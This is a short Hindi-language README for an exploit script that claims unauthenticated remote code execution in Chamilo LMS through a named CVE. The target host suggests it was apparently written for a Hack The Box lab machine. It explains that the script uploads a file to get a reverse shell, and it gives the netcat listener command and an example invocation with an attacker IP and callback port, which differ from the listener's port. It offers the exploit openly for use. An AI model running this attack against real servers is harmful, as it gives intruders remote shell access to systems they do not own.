
Chamilo LMS के लिए रिमोट कोड निष्पादन
pip install requests
यह पायथन स्क्रिप्ट CVE-2023-422 भेद्यता का उपयोग करके सर्वर पर एक फ़ाइल अपलोड करती है और उस फ़ाइल का उपयोग करके नेटकैट लिसनर को एक रिवर्स शेल भेजती है, और यह सब बिना प्रमाणीकरण के किया जा सकता है। हालाँकि, पायथन स्क्रिप्ट का सफलतापूर्वक उपयोग करने के लिए आपको निम्नलिखित चरणों का पालन करना होगा।
नेटकैट लिसनर प्रारंभ करें:
nc -lnvp 4444
पायथन स्क्रिप्ट निष्पादित करना (उदाहरण):
python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"
कृपया एक स्टार छोड़ें यदि निम्नलिखित शोषण उपयोगी था :)